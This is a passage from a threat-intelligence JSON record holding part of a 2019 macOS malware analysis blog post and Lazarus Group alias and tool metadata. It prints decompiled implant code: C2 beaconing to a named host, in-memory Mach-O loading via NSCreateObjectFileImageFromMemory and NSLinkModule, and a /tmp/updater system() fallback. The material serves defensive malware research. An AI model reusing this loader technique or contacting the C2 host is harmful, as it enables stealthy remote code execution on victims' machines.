VM+nL/ueNmNG ):\r\n(lldb) x/s $rax\r\n0x7ffeefbff810: \"VM+nL/ueNmNG\"\r\n\\\r\n3. Invokes a function named getOSVersion in order to retrieve the OS version, by reading the system file,\r\n/System/Library/CoreServices/SystemVersion.plist (which contains various version-related\r\ninformation):\r\n$ defaults read /System/Library/CoreServices/SystemVersion.plist\r\n{\r\n ProductBuildVersion = 18F132;\r\n ProductCopyright = \"1983-2019 Apple Inc.\";\r\n ProductName = \"Mac OS X\";\r\n ProductUserVisibleVersion = \"10.14.5\";\r\n ProductVersion = \"10.14.5\";\r\n iOSSupportVersion = \"12.3\";\r\n}\r\nAgain in the debugger, we can observe the malware retrieving this information (specifically the\r\nProductName , ProductUserVisibleVersion , and ProductBuildVersion ):\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 75 of 82\n\n(lldb) x/s 0x7ffeefbff790\r\n0x7ffeefbff790: \"Mac OS X 10.14.5 (18F132)\"\r\n4. Builds a string consisting of the time and hardcode value (key?): 12GWAPCT1F0I1S14\r\n1sprintf(\u0026var_130, \"%ld\", time(0x0));\r\n2rax = sprintf(\u0026var_1B0, \"%s%s\", \u0026var_130, \"12GWAPCT1F0I1S14\");\r\n5. Invokes the Barbeque::post() method to contact a remote command \u0026 control server\r\n( https://unioncrypto.vip/update ): The network logic leverages via libcurl to perform the actual\r\ncommunications:\r\n1curl_easy_setopt(*r15, 0x2727);\r\n2curl_easy_setopt(*r15, 0x4e2b);\r\n3curl_easy_setopt(*r15, 0x2711);\r\n4rdi = *r15;\r\n5curl_easy_setopt(rdi, 0x271f);\r\n6rax = curl_easy_perform(*r15);\r\nOur firewall LuLu easily detects this connection attempt:\r\n6. If the server responds with the string \"0\" the malware will sleep for 10 minutes, before checking in again\r\nwith the server:\r\n1if (std::__1::basic_string ... ::compare(rbx, 0x0, 0xffffffffffffffff, \"0\", 0x1) == 0x0)\r\n2{\r\n3 sleep(0x258);\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 76 of 82\n\n4 goto connect2Server;\r\n5}\r\nOtherwise it will invoke a function to base64 decode the server’s respond, followed by a function named\r\nprocessUpdate to execute a downloaded payload from the server.\r\nOk, so we’ve got a fairly standard persistent 1st-stage implant which beacons to a remote server for (likely) a 2nd-\r\nstage fully-featured implant.\r\nAt this time, while the remote command \u0026 control server remains online, it simply it responding with a “0”,\r\nmeaning no payload is provided :( \\\r\nAs such, we must rely on static analysis methods for the remainder of our analysis.\r\nHowever, the is one rather unique aspect of this 1st-stage implant: the ability to execute the received payload,\r\ndirectly from memory!\r\nLooks take a closer look at how the malware implements this stealthy capability.\r\nRecall that if the server responds with payload (and not a string \"0\" ), the malware invokes the processUpdate\r\nfunction. First the processUpdate decrypts said payload (via aes_decrypt_cbc ), then invokes a function named\r\nload_from_memory .\r\n1aes_decrypt_cbc(0x0, r15, rdx, rcx, \u0026var_40);\r\n2memcpy(\u0026var_C0, r15, 0x80);\r\n3rbx = rbx + 0x90;\r\n4r14 = r14 - 0x90;\r\n5rax = _load_from_memory(rbx, r14, \u0026var_C0, rcx, \u0026var_40, r9);\r\nThe load_from_memory function first mmaps some memory (with protections: PROT_READ | PROT_WRITE |\r\nPROT_EXEC). Then copies the decrypted payload into this memory region, before invoking a function named\r\nmemory_exec2 :\r\n 1int _load_from_memory(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) {\r\n 2 r14 = arg2;\r\n 3 r12 = arg1;\r\n 4 r15 = arg0;\r\n 5 rax = mmap(0x0, arg1, 0x7, 0x1001, 0xffffffffffffffff, 0x0);\r\n 6 if (rax != 0xffffffffffffffff) {\r\n 7 memcpy(rax, r15, r12);\r\n 8 r14 = _memory_exec2(rax, r12, r14);\r\n 9 munmap(rax, r12);\r\n10 rax = r14;\r\n11 }\r\n12 else {\r\n13 rax = 0xffffffffffffffff;\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 77 of 82\n\n14 }\r\n15 return rax;\r\n16}\r\nThe memory_exec2 function invokes the Apple API NSCreateObjectFileImageFromMemory to create an “object\r\nfile image” from a memory buffer (of a mach-O file). Following this, the NSLinkModule method is called to link\r\nthe “object file image”.\r\n1int _memory_exec2(int arg0, int arg1, int arg2) {\r\n2\r\n3 ...\r\n4 rax = NSCreateObjectFileImageFromMemory(rdi, rsi, \u0026var_58);\r\n5\r\n6 rax = NSLinkModule(var_58, \"core\", 0x3);\r\n7\r\nAs the layout of an in-memory process image is different from its on disk-in image, one cannot simply copy a file\r\ninto memory and directly execute it. Instead, one must invoke APIs such as\r\nNSCreateObjectFileImageFromMemory and NSLinkModule (which take care of preparing the in-memory\r\nmapping and linking).\r\nOnce the malware has mapped and linked the downloaded payload, it invokes a function named find_macho\r\nwhich appears to search the memory mapping for MH_MAGIC_64 , the 64-bit “mach magic number” in the\r\nmach_header_64 structure ( 0xfeedfacf ):\r\n 1int find_macho(int arg0, int arg1, int arg2, int arg3) {\r\n 2\r\n 3 ...\r\n 4\r\n 5 do {\r\n 6 ...\r\n 7 if ((*(int32_t *)__error() == 0x2) \u0026\u0026 (*(int32_t *)rbx == 0xfeedfacf)) {\r\n 8 break;\r\n 9 }\r\n10\r\n11 } while (true);\r\n12}\r\nOnce the find_macho method returns, the malware begins parsing the in-memory mach-O file. It appears to be\r\nlooking for the address of LC_MAIN load command ( 0x80000028 ):\r\n1if (*(int32_t *)rcx == 0x80000028) goto loc_100006ac7;\r\nFor an in-depth technical discussion of parsing mach-O files, see: “Parsing Mach-O Files”.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 78 of 82\n\nThe LC_MAIN load command contains information such as the entry point of the mach-O binary (for example,\r\noffset 18177 for the unioncryptoupdater binary):\r\nThe malware then retrieves the offset of the entry point (found at offset 0x8 within the LC_MAIN load\r\ncommand), sets up some arguments, then jumps to this address:\r\n1//rcx points to the `LC_MAIN` load command\r\n2r8 = r8 + *(rcx + 0x8);\r\n3...\r\n4\r\n5//invoke payload's entry point!\r\n6rax = (r8)(0x2, \u0026var_40, \u0026var_48, \u0026var_50, r8);\r\nDelightful! Pure in-memory execution of a remotely downloaded payload. 🤩 Sexy!\r\nIn 2015, at BlackHat I discussed this method of in-memory file execution as a means to increase stealth and\r\ncomplicate forensics (See: “Writing Bad @$$ Malware for OS X”):\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 79 of 82\n\n…kinda neat to see it (finally) show up in macOS malware in the wild!\r\n\\\r\nFormer #OBTS speaker Felix Seele (@c1truz_) noted that the (in)famous InstallCore adware also (ab)used the\r\nNSCreateObjectFileImageFromMemory and NSLinkModule APIs to achieve in-memory execution.\r\nInterestingly, the malware has a “backup” plan if the in-memory code execution fails. Specifically if\r\nload_from_memory does not return 0 (success) it will write out the received payload to /tmp/updater and then\r\nexecute it via a call to system :\r\n 1rax = _load_from_memory(rbx, r14, \u0026var_C0, rcx, \u0026var_40, r9);\r\n 2if(rax != 0x0) {\r\n 3 fwrite(rbx, r14, 0x1, fopen(\"/tmp/updater\", \"wb\"));\r\n 4 fclose(rax);\r\n 5\r\n 6 chmod(\"/tmp/updater\", 0x1ff);\r\n 7 sprintf(\u0026var_4C0, \"%s %s\", \"/tmp/updater\", \u0026var_C0);\r\n 8\r\n 9 rax = system(\u0026var_4C0);\r\n10\r\n11 unlink(\"/tmp/updater\");\r\n12}\r\nAlways good to handle error conditions and have a plan B!\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 80 of 82\n\nLazarus group continues to target macOS users with ever evolving capabilities. This sample, pushes the envelope\r\nwith the ability to remotely download and execute payloads directly from memory!\r\n👾 And All Others\r\nThis blog post provided a comprehensive technical analysis of the new mac malware of 2019. However as\r\npreviously noted, we did not cover adware or malware from previous years. Of course, this is not to say such\r\nitems are unimportant.\r\nAs such, here we include a list of other items and for the interested reader, and links to detailed writeups.\r\nChances are, if an Apple user tells you their Mac is infected, it’s likely adware. Over the years, Mac adware has\r\nbecome ever more prolific as hackers seeks to financially “benefit” from the popularity of Cupertino’s devices.\r\n2019 saw a variety of new adware, plus various known samples continuing to evolve. Some of the most notable\r\nadware-related events from 2019 include:\r\n👾 OSX.Pirrit\r\nThe ever prolific Pirrit adware continued to involve in 2019. In March, we analyzed a sample\r\n(compiled as python bytecode) which utilized AppleScript to inject malicious JavScript into browser pages.\r\nWriteup: “Mac Adware, à la Python”\r\n👾 OSX.NewTab\r\nThough (still?) undetected by all the anti-virus engines on VirusTotal, OSX.NewTab appears to be a fairly\r\nstandard piece of macOS adware (that appears to inject code into browser sessions for “ad impressions”).\r\nWriteup: “OSX/NewTab”\r\n👾 OSX.CrescentCore Masquerading as Adobe Flash Installer, CrescentCore attempts to installing other\r\n(potentially) unwanted software on victim machines. Interestingly, by design it will not infect systems\r\nrunning 3rd-party AV/security tools nor systems running within a VM.\r\nWriteup: “OSX/CrescentCore: Mac malware designed to evade antivirus”\r\nConclusion:\r\nWell that’s a wrap! Thanks for joining our “journey” as we wandered through the macOS malware of 2019.\r\nLooking forward, maybe we’ll see a drop in malware affecting the latest version of macOS (Catalina), due to its\r\nstringent notarization requirements …though word on the street is it’s already bypassed:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 81 of 82\n\n\\\r\nLove these blog posts?\r\nSupport my tools \u0026 writing on patreon :)\r\nSource: https://objective-see.com/blog/blog_0x53.html\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 82 of 82",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x53.html"
	],
	"report_names": [
		"blog_0x53.html"
	],
	"threat_actors": [
		{
			"id": "34eea331-d052-4096-ae03-a22f1d090bd4",
			"created_at": "2025-08-07T02:03:25.073494Z",
			"updated_at": "2026-04-10T02:00:03.709243Z",
			"deleted_at": null,
			"main_name": "NICKEL ACADEMY",
			"aliases": [
				"ATK3 ",
				"Black Artemis ",
				"COVELLITE ",
				"CTG-2460 ",
				"Citrine Sleet ",
				"Diamond Sleet ",
				"Guardians of Peace",
				"HIDDEN COBRA ",
				"High Anonymous",
				"Labyrinth Chollima ",
				"Lazarus Group ",
				"NNPT Group",
				"New Romanic Cyber Army Team",
				"Temp.Hermit ",
				"UNC577 ",
				"Who Am I?",
				"Whois Team",
				"ZINC "
			],
			"source_name": "Secureworks:NICKEL ACADEMY",
			"tools": [
				"Destover",
				"KorHigh",
				"Volgmer"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "544ecd2c-82c9-417c-9d98-d1ae395df964",
			"created_at": "2025-10-29T02:00:52.035025Z",
			"updated_at": "2026-04-10T02:00:05.408558Z",
			"deleted_at": null,
			"main_name": "AppleJeus",
			"aliases": [
				"AppleJeus",
				"Gleaming Pisces",
				"Citrine Sleet",
				"UNC1720",
				"UNC4736"
			],
			"source_name": "MITRE:AppleJeus",
			"tools": null,
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "732597b1-40a8-474c-88cc-eb8a421c29f1",
			"created_at": "2025-08-07T02:03:25.087732Z",
			"updated_at": "2026-04-10T02:00:03.776007Z",
			"deleted_at": null,
			"main_name": "NICKEL GLADSTONE",
			"aliases": [
				"APT38 ",
				"ATK 117 ",
				"Alluring Pisces ",
				"Black Alicanto ",
				"Bluenoroff ",
				"CTG-6459 ",
				"Citrine Sleet ",
				"HIDDEN COBRA ",
				"Lazarus Group",
				"Sapphire Sleet ",
				"Selective Pisces ",
				"Stardust Chollima ",
				"T-APT-15 ",
				"TA444 ",
				"TAG-71 "
			],
			"source_name": "Secureworks:NICKEL GLADSTONE",
			"tools": [
				"AlphaNC",
				"Bankshot",
				"CCGC_Proxy",
				"Ratankba",
				"RustBucket",
				"SUGARLOADER",
				"SwiftLoader",
				"Wcry"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-04-10T02:00:02.971571Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Operation DarkSeoul",
				"Bureau 121",
				"Group 77",
				"APT38",
				"NICKEL GLADSTONE",
				"G0082",
				"COPERNICIUM",
				"Moonstone Sleet",
				"Operation GhostSecret",
				"APT 38",
				"Appleworm",
				"Unit 121",
				"ATK3",
				"G0032",
				"ATK117",
				"NewRomanic Cyber Army Team",
				"Nickel Academy",
				"Sapphire Sleet",
				"Lazarus group",
				"Hastati Group",
				"Subgroup: Bluenoroff",
				"Operation Troy",
				"Black Artemis",
				"Dark Seoul",
				"Andariel",
				"Labyrinth Chollima",
				"Operation AppleJeus",
				"COVELLITE",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Hidden Cobra",
				"Bluenoroff",
				"Stardust Chollima",
				"Whois Hacking Team",
				"Diamond Sleet",
				"TA404",
				"BeagleBoyz",
				"APT-C-26"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "32a223a8-3c79-4146-87c5-8557d38662ae",
			"created_at": "2022-10-25T15:50:23.703698Z",
			"updated_at": "2026-04-10T02:00:05.261989Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Lazarus Group",
				"Labyrinth Chollima",
				"HIDDEN COBRA",
				"Guardians of Peace",
				"NICKEL ACADEMY",
				"Diamond Sleet"
			],
			"source_name": "MITRE:Lazarus Group",
			"tools": [
				"RawDisk",
				"Proxysvc",
				"BADCALL",
				"FALLCHILL",
				"WannaCry",
				"MagicRAT",
				"HOPLIGHT",
				"TYPEFRAME",
				"Dtrack",
				"HotCroissant",
				"HARDRAIN",
				"Dacls",
				"KEYMARBLE",
				"TAINTEDSCRIBE",
				"AuditCred",
				"netsh",
				"ECCENTRICBANDWAGON",
				"AppleJeus",
				"BLINDINGCAN",
				"ThreatNeedle",
				"Volgmer",
				"Cryptoistic",
				"RATANKBA",
				"Bankshot"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "f32df445-9fb4-4234-99e0-3561f6498e4e",
			"created_at": "2022-10-25T16:07:23.756373Z",
			"updated_at": "2026-04-10T02:00:04.739611Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"APT-C-26",
				"ATK 3",
				"Appleworm",
				"Citrine Sleet",
				"DEV-0139",
				"Diamond Sleet",
				"G0032",
				"Gleaming Pisces",
				"Gods Apostles",
				"Gods Disciples",
				"Group 77",
				"Guardians of Peace",
				"Hastati Group",
				"Hidden Cobra",
				"ITG03",
				"Jade Sleet",
				"Labyrinth Chollima",
				"Lazarus Group",
				"NewRomanic Cyber Army Team",
				"Operation 99",
				"Operation AppleJeus",
				"Operation AppleJeus sequel",
				"Operation Blockbuster: Breach of Sony Pictures Entertainment",
				"Operation CryptoCore",
				"Operation Dream Job",
				"Operation Dream Magic",
				"Operation Flame",
				"Operation GhostSecret",
				"Operation In(ter)caption",
				"Operation LolZarus",
				"Operation Marstech Mayhem",
				"Operation No Pineapple!",
				"Operation North Star",
				"Operation Phantom Circuit",
				"Operation Sharpshooter",
				"Operation SyncHole",
				"Operation Ten Days of Rain / DarkSeoul",
				"Operation Troy",
				"SectorA01",
				"Slow Pisces",
				"TA404",
				"TraderTraitor",
				"UNC2970",
				"UNC4034",
				"UNC4736",
				"UNC4899",
				"UNC577",
				"Whois Hacking Team"
			],
			"source_name": "ETDA:Lazarus Group",
			"tools": [
				"3CX Backdoor",
				"3Rat Client",
				"3proxy",
				"AIRDRY",
				"ARTFULPIE",
				"ATMDtrack",
				"AlphaNC",
				"Alreay",
				"Andaratm",
				"AngryRebel",
				"AppleJeus",
				"Aryan",
				"AuditCred",
				"BADCALL",
				"BISTROMATH",
				"BLINDINGCAN",
				"BTC Changer",
				"BUFFETLINE",
				"BanSwift",
				"Bankshot",
				"Bitrep",
				"Bitsran",
				"BlindToad",
				"Bookcode",
				"BootWreck",
				"BottomLoader",
				"Brambul",
				"BravoNC",
				"Breut",
				"COLDCAT",
				"COPPERHEDGE",
				"CROWDEDFLOUNDER",
				"Castov",
				"CheeseTray",
				"CleanToad",
				"ClientTraficForwarder",
				"CollectionRAT",
				"Concealment Troy",
				"Contopee",
				"CookieTime",
				"Cyruslish",
				"DAVESHELL",
				"DBLL Dropper",
				"DLRAT",
				"DRATzarus",
				"DRATzarus RAT",
				"Dacls",
				"Dacls RAT",
				"DarkComet",
				"DarkKomet",
				"DeltaCharlie",
				"DeltaNC",
				"Dembr",
				"Destover",
				"DoublePulsar",
				"Dozer",
				"Dtrack",
				"Duuzer",
				"DyePack",
				"ECCENTRICBANDWAGON",
				"ELECTRICFISH",
				"Escad",
				"EternalBlue",
				"FALLCHILL",
				"FYNLOS",
				"FallChill RAT",
				"Farfli",
				"Fimlis",
				"FoggyBrass",
				"FudModule",
				"Fynloski",
				"Gh0st RAT",
				"Ghost RAT",
				"Gopuram",
				"HARDRAIN",
				"HIDDEN COBRA RAT/Worm",
				"HLOADER",
				"HOOKSHOT",
				"HOPLIGHT",
				"HOTCROISSANT",
				"HOTWAX",
				"HTTP Troy",
				"Hawup",
				"Hawup RAT",
				"Hermes",
				"HotCroissant",
				"HotelAlfa",
				"Hotwax",
				"HtDnDownLoader",
				"Http Dr0pper",
				"ICONICSTEALER",
				"Joanap",
				"Jokra",
				"KANDYKORN",
				"KEYMARBLE",
				"Kaos",
				"KillDisk",
				"KillMBR",
				"Koredos",
				"Krademok",
				"LIGHTSHIFT",
				"LIGHTSHOW",
				"LOLBAS",
				"LOLBins",
				"Lazarus",
				"LightlessCan",
				"Living off the Land",
				"MATA",
				"MBRkiller",
				"MagicRAT",
				"Manuscrypt",
				"Mimail",
				"Mimikatz",
				"Moudour",
				"Mydoom",
				"Mydoor",
				"Mytob",
				"NACHOCHEESE",
				"NachoCheese",
				"NestEgg",
				"NickelLoader",
				"NineRAT",
				"Novarg",
				"NukeSped",
				"OpBlockBuster",
				"PCRat",
				"PEBBLEDASH",
				"PLANKWALK",
				"POOLRAT",
				"PSLogger",
				"PhanDoor",
				"Plink",
				"PondRAT",
				"PowerBrace",
				"PowerRatankba",
				"PowerShell RAT",
				"PowerSpritz",
				"PowerTask",
				"Preft",
				"ProcDump",
				"Proxysvc",
				"PuTTY Link",
				"QUICKRIDE",
				"QUICKRIDE.POWER",
				"Quickcafe",
				"QuiteRAT",
				"R-C1",
				"ROptimizer",
				"Ratabanka",
				"RatabankaPOS",
				"Ratankba",
				"RatankbaPOS",
				"RawDisk",
				"RedShawl",
				"Rifdoor",
				"Rising Sun",
				"Romeo-CoreOne",
				"RomeoAlfa",
				"RomeoBravo",
				"RomeoCharlie",
				"RomeoCore",
				"RomeoDelta",
				"RomeoEcho",
				"RomeoFoxtrot",
				"RomeoGolf",
				"RomeoHotel",
				"RomeoMike",
				"RomeoNovember",
				"RomeoWhiskey",
				"Romeos",
				"RustBucket",
				"SHADYCAT",
				"SHARPKNOT",
				"SIGFLIP",
				"SIMPLESEA",
				"SLICKSHOES",
				"SORRYBRUTE",
				"SUDDENICON",
				"SUGARLOADER",
				"SheepRAT",
				"SierraAlfa",
				"SierraBravo",
				"SierraCharlie",
				"SierraJuliett-MikeOne",
				"SierraJuliett-MikeTwo",
				"SimpleTea",
				"SimplexTea",
				"SmallTiger",
				"Stunnel",
				"TAINTEDSCRIBE",
				"TAXHAUL",
				"TFlower",
				"TOUCHKEY",
				"TOUCHMOVE",
				"TOUCHSHIFT",
				"TOUCHSHOT",
				"TWOPENCE",
				"TYPEFRAME",
				"Tdrop",
				"Tdrop2",
				"ThreatNeedle",
				"Tiger RAT",
				"TigerRAT",
				"Trojan Manuscript",
				"Troy",
				"TroyRAT",
				"VEILEDSIGNAL",
				"VHD",
				"VHD Ransomware",
				"VIVACIOUSGIFT",
				"VSingle",
				"ValeforBeta",
				"Volgmer",
				"Vyveva",
				"W1_RAT",
				"Wana Decrypt0r",
				"WanaCry",
				"WanaCrypt",
				"WanaCrypt0r",
				"WannaCry",
				"WannaCrypt",
				"WannaCryptor",
				"WbBot",
				"Wcry",
				"Win32/KillDisk.NBB",
				"Win32/KillDisk.NBC",
				"Win32/KillDisk.NBD",
				"Win32/KillDisk.NBH",
				"Win32/KillDisk.NBI",
				"WinorDLL64",
				"Winsec",
				"WolfRAT",
				"Wormhole",
				"YamaBot",
				"Yort",
				"ZetaNile",
				"concealment_troy",
				"http_troy",
				"httpdr0pper",
				"httpdropper",
				"klovbot",
				"sRDI"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434035,
	"ts_updated_at": 1775792300,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d947957c74567fa0c9df893d02bacd92bb28a4a8.pdf",
		"text": "https://archive.orkl.eu/d947957c74567fa0c9df893d02bacd92bb28a4a8.txt",
		"img": "https://archive.orkl.eu/d947957c74567fa0c9df893d02bacd92bb28a4a8.jpg"
	}
}